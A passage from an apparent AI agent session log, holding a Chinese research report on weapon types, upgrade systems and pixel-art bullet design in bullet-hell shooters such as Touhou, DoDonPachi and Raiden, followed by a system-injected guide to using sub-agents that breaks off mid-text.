调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*", "current_truncated": false, "updated_at": "2026-08-23T12:32:27.760946"}], "_history_file": "我要做一个像素风格的弹幕射击游戏,但我不知道如何美术设计,请你帮我去调研一下其他_2026-08-23_122837_104.diff"}}}, {"role": "user", "content": "[系统通知|skill]\n---\nname: sub-agent-guide\ndescription: 子智能体使用指南。创建子智能体之前必须阅读此技能。子智能体仅用于并行处理独立的“非代码编写”任务(如项目初步探索、网络搜索与信息收集、程序测试执行)。关键限制:子智能体之间无法通信,看不到主对话历史。严格禁止将子智能体用于项目代码编写、代码修改、重构或实现功能。**如果运行模式为多智能体模式,禁止阅读并参考该 skill。**\n---\n\n# 子智能体使用指南\n\n## 核心原则\n\n**一个子智能体 = 一个完整的独立任务**\n\n子智能体拥有完整工具能力,但与主智能体和其他子智能体完全隔离。它们看不到你的对话历史,无法互相通信,只能通过文件系统共享信息。\n\n**硬性限制:子智能体严格禁止用于项目代码编写/修改。**\n\n## 何时使用\n\n**适合(推荐):**\n- **项目初期探索**:快速梳理目录结构、模块职责、运行方式,形成初步认知\n- **占用大量上下文的网络搜索和信息收集**:竞品调研、资料汇总、文档整理、新闻/资料比对\n - **重要**:进行大范围搜索或调查前,必须先自己进行一次浅层搜索/调查,摸清关键词、主要来源和任务边界,再创建子智能体并给出精确指导。\n- **程序测试与验证**:执行测试命令、收集日志、汇总失败用例与错误模式\n- **并行独立的文档/分析任务**:生成说明文档、运行报告、排查清单\n\n**不适合:**\n- 任务之间需要频繁协调(子智能体无法互相通信)\n- 简单快速的任务(创建子智能体有开销)\n- 需要你参与决策的任务(子智能体是自主运行的)\n- 任何项目代码编写、代码修改、代码重构、功能实现任务(必须由主智能体处理)\n- 任何会直接改动项目源码的开发工作\n\n## 任务描述的艺术\n\n子智能体看不到你的对话历史,task 参数是它收到的唯一指令。\n\n**关键要素:**\n1. **明确的目标** - 要做什么,产出什么\n2. **清晰的范围** - 操作哪些文件/目录\n3. **具体的交付物** - 生成什么文件,放在哪里\n4. **完成标准** - 什么算完成\n\n**好的示例:**\n\n```\n# 代码定位任务\n用户反馈了一个程序 bug:登录时偶尔报 500 错误。\n1. 先自己阅读项目结构,确认技术栈和登录相关模块位置\n2. 复现或定位错误触发条件,理解问题表现\n3. 创建子智能体:在 src/auth/、src/middleware/、src/api/login/ 等目录中查找可能导致 500 的代码路径\n4. 子智能体交付可疑文件列表和代码位置,生成 bug_location.md\n\n# 网络调研任务\n用户要求调查国产开源智能体功能:\n1. 先自己进行一次浅层搜索,列出当前主要的国产开源智能体(如 AgentScope、DB-GPT、ModelScope-Agent 等)\n2. 根据初步结果,为每个候选智能体创建独立的子智能体,分别调研其功能特性、架构设计、适用场景\n3. 每个子智能体生成独立报告\n4. 最后由你整合对比,生成 overall_comparison.md\n\n# 系统信息收集\n收集当前计算机的硬件和系统信息:\n1. CPU 架构、型号、核心数\n2. GPU 型号、显存、驱动版本\n3. 内存大小、系统版本\n4. 保存为 system_info.md\n```\n\n**避免:**\n- ❌ \"帮我分析一下认证代码\" - 太模糊\n- ❌ \"如果发现问题请告诉我\" - 子智能体无法与你交互\n- ❌ \"先做 A,然后等我确认再做 B\" - 子智能体是一次性执行的\n\n## 交付目录设计\n\n`deliverables_dir` 必须是**不存在的新目录**,子智能体会把所有成果放在这里。\n\n**命名建议:**\n```\nsub_agent_results/task_description/ # 清晰描述任务\nsub_agent_results/module_a_docs/ # 按模块组织\nsub_agent_results/test_auth_report/ # 按测试/报告组织\n```\n\n**避免:**\n- ❌ 使用已存在的目录(会报错)\n- ❌ 使用绝对路径(必须是相对于项目根目录的相对路径)\n- ❌ 使用通用名称如 \"output\" \"result\"(多个子智能体会冲突)\n\n## 执行模式:阻塞 vs 后台\n\n子智能体有两种执行模式,通过 `run_in_background` 参数控制:\n\n### 阻塞模式(run_in_background=false,默认)\n\n**行为:**\n- 创建子智能体后,你会**停止输出**,等待它完成\n- 完成后结果直接在工具返回中给出,继续你的工作\n- 不会有额外的系统通知消息\n\n**何时使用:**\n- ✅ 快速任务(预计 < 1 分钟)\n- ✅ 需要立即使用结果的任务\n- ✅ 单个子智能体,没有其他并行工作\n\n**示例:**\n```python\n# 快速信息搜集,立即需要结果\ncreate_sub_agent(\n agent_id=1,\n summary=\"搜索 Python 3.12 新特性\",\n task=\"搜索并整理 Python 3.12 的主要新特性,生成 python312.md\",\n deliverables_dir=\"research/python312\",\n run_in_background=false, # 阻塞等待\n timeout_seconds=300\n)\n# 工具返回后,你可以立即读取 research/python312/python312.md\n```\n\n### 后台模式(run_in_background=true)\n\n**行为:**\n- 创建子智能体后,工具**立即返回**,你可以继续做其他事情\n- 子智能体在后台运行,完成后系统会**自动插入一条 user 消息**通知你\n- 你会在对话中看到类似:\"这是一句系统自动发送的user消息,用于通知你子智能体已经运行完成...\"\n\n**完成通知机制说明:**\n- 后台子智能体完成的通知是系统自动插入的 user 消息(前缀 `[系统通知|sub_agent]`),不依赖手动调用任何轮询接口。\n- 你只需在收到通知后直接查看交付目录即可,系统会把所有必需信息一并带上。\n\n**何时使用:**\n- ✅ 需要同时创建多个子智能体\n- ✅ 创建后你有其他工作可以先做(回答用户问题、处理其他任务)\n\n**后台模式下你应该做什么:**\n\n**情况 A:运行子智能体期间需要做别的事情**\n```python\n# 创建多个后台任务\ncreate_sub_agent(agent_id=1, task=\"...\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"...\", run_in_background=true, ...)\n\n# 立即告诉用户并继续其他工作\n\"我已经启动了2个子智能体在后台并行工作,预计需要10-15分钟。在等待期间,我可以先帮你处理其他事情。\"\n\n# 然后你可以:\n# - 回答用户的其他问题\n# - 处理其他任务\n# - 阅读代码、分析问题\n# - 运行其他工具\n# 子智能体完成时会自动插入一条 system 消息通知你\n```\n\n**情况 B:运行子智能体期间不需要做别的事情,且只需要一个子智能体**\n```python\n# 只有单个子智能体,且期间没有其他工作,直接使用阻塞模式\ncreate_sub_agent(agent_id=1, task=\"大规模日志分析\", run_in_background=false, timeout_seconds=1800)\n\n# 等待工具返回后,直接读取交付目录处理结果\n```\n\n**情况 C:运行子智能体期间不需要做别的事情,但需要同时创建多个子智能体**\n```python\n# 多个子智能体同时运行,即使自己暂时没事做,也全部使用后台模式\ncreate_sub_agent(agent_id=1, task=\"分析前端认证实现\", deliverables_dir=\"analysis/frontend_auth\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"分析后端鉴权实现\", deliverables_dir=\"analysis/backend_auth\", run_in_background=true, ...)\n\n# 告诉用户预计时间\n\"我已启动2个子智能体并行分析认证与鉴权实现,预计需要10-15分钟。系统会在完成后自动通知我,届时我会立即整合结果并回复你。\"\n\n# 然后停止工作和输出,等待系统通知\n# 每个子智能体完成后,系统都会自动发送一条 user 消息通知你\n```\n\n**重要提示:**\n- 系统会自动处理通知,你只需要在收到通知消息后处理结果即可\n- 如果你正在执行工具调用,系统会延迟通知,避免打断你的工作流\n- 不论运行中还是空闲,通知一律是带 `[系统通知|sub_agent]` 前缀的 user 消息;运行中只是通知不触发新一轮回复,空闲时等同于一条新输入会触发回复\n- 后台完成由上述系统通知负责,不要再依赖任何手动等待流,系统会在能插入消息时自动通知你。\n\n### 模式选择决策树\n\n```\n任务预计耗时 < 1 分钟?\n├─ 是 → 使用阻塞模式(run_in_background=false)\n└─ 否 → 需要同时创建多个子智能体?\n ├─ 是 → 使用后台模式(run_in_background=true),然后停止输出等待系统通知\n └─ 否 → 创建后你有没有其他工作可以先做?\n ├─ 是 → 使用后台模式(run_in_background=true),继续处理其他工作\n └─ 否 → 使用阻塞模式(run_in_background=false)\n```\n\n> 